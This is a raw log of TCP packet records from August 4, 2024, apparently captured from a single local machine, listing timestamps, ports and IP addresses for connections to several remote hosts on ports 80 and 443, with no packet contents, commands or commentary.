Aug 4, 2024 02:21:39.544356108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544384956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544390917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544423103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544511080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544543982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544553995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544576883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544585943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544611931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544611931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544645071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544651985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544677973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544687986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544708967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544714928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544742107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544749022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544779062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544783115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544811964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544821978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544842958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544848919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544874907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544883013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544908047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544910908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544939041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544946909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544977903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544982910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545016050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545022011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545047998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545054913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545080900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545090914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545114040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545125008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545145988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545150995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545177937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545185089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545214891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545214891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545244932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545253038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545278072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545281887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545310020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545315027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545347929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545347929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545380116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545384884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545414925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545418978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545447111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545456886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545478106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545485020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545510054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545515060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545542955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545551062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545574903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545581102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545609951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545614958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545645952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545650005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545677900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545682907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545711994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545717001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545742989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545752048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545774937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545808077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545818090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545830965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545844078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545861006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545900106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545901060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545939922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.545952082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545984030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.545990944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546015978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546020985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546053886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546058893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546086073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546092033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546118021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546123981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546150923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546156883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546183109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546189070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546216011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546219110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546247959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546252012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546282053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546288013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546315908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546324015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546349049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546355009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546381950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546389103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546415091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546420097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546447039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546454906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546483994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546487093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546515942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546525002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546547890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546549082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546582937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546588898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546617031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546623945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546647072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546652079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546684027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546742916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546773911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546782970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546807051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546812057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546839952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546849012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546873093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546884060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546905041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546920061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546938896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546941042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.546971083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.546977997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547003031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547010899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547033072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547040939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547065020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547076941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547096968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547103882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547130108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547132015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547163010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547166109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547197104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547202110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547234058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547238111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547266960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547274113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547300100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547302008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547332048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547341108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547365904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547369957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547399044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547405958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547434092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.547440052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.547472954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.580988884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581096888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.581108093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581142902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581167936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.581176996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581192017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.581209898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581218958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.581242085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581254005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.581274033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581285954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.581307888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.581312895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.581357956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.631881952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.631952047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.631958008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.631993055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.632010937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.632025957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.632040977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.632060051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.632105112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.632092953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.632149935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.632165909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.632184029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.632193089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.632224083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:40.044900894 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:40.044985056 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:40.045080900 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:40.045397997 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:40.045432091 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:40.705306053 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:40.705665112 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:40.706145048 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:40.706171989 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:40.707659960 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:40.707673073 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:41.462933064 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:41.463016987 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:41.463021994 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:41.463206053 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:41.475672007 CEST	49758	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:41.475712061 CEST	443	49758	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:41.477534056 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:41.477621078 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:41.478877068 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:41.479140043 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:41.479176044 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.134808064 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.136636972 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.152419090 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.152468920 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.161556005 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.161606073 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.774029016 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.774053097 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.774142981 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.774313927 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.774313927 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.774404049 CEST	49759	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.774441004 CEST	443	49759	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.790883064 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.790942907 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:42.791023970 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.791223049 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:42.791249990 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:43.438029051 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:43.438102961 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:43.438630104 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:43.438637018 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:43.440139055 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:43.440144062 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:44.066751003 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:44.066838026 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:44.066977978 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:44.067850113 CEST	49760	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:44.067881107 CEST	443	49760	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:44.879746914 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:44.879786015 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:44.879842043 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:44.880255938 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:44.880265951 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.523648024 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.523845911 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.524365902 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.524369955 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.526062965 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.526067019 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.526123047 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.526134968 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.526237965 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.526252985 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.526364088 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.526406050 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.526465893 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.526477098 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:45.526525021 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.526544094 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:45.526551962 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:46.723244905 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:46.723339081 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:46.723448992 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:46.723659992 CEST	49761	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:46.723673105 CEST	443	49761	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:46.764739037 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:46.764761925 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:46.764843941 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:46.765090942 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:46.765099049 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:47.444539070 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:47.444673061 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:47.445157051 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:47.445164919 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:47.447057962 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:47.447062969 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:48.104692936 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:48.104779005 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:48.104809999 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:48.104862928 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:48.104916096 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:48.104954958 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:48.107178926 CEST	49762	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:48.107192039 CEST	443	49762	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:48.139611006 CEST	49763	80	192.168.2.4	38.180.132.96
Aug 4, 2024 02:21:48.144685030 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.144753933 CEST	49763	80	192.168.2.4	38.180.132.96
Aug 4, 2024 02:21:48.144874096 CEST	49763	80	192.168.2.4	38.180.132.96
Aug 4, 2024 02:21:48.144916058 CEST	49763	80	192.168.2.4	38.180.132.96
Aug 4, 2024 02:21:48.149801970 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.149816990 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.149847984 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.149859905 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.149976015 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.150001049 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.867791891 CEST	80	49763	38.180.132.96	192.168.2.4
Aug 4, 2024 02:21:48.867867947 CEST	49763	80	192.168.2.4	38.180.132.96
Aug 4, 2024 02:21:52.337606907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:52.337810040 CEST	49763	80	192.168.2.4	38.180.132.96
Aug 4, 2024 02:21:52.418678045 CEST	49764	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:52.418716908 CEST	443	49764	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:52.418782949 CEST	49764	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:52.420896053 CEST	49764	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:52.420911074 CEST	443	49764	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:53.091248989 CEST	443	49764	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:53.091413975 CEST	49764	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:53.139894962 CEST	49764	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:53.139930964 CEST	443	49764	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:53.140782118 CEST	443	49764	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:53.144928932 CEST	49764	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:53.146102905 CEST	49764	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:53.192544937 CEST	443	49764	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:54.027348042 CEST	443	49764	104.102.49.249	192.168.2.4
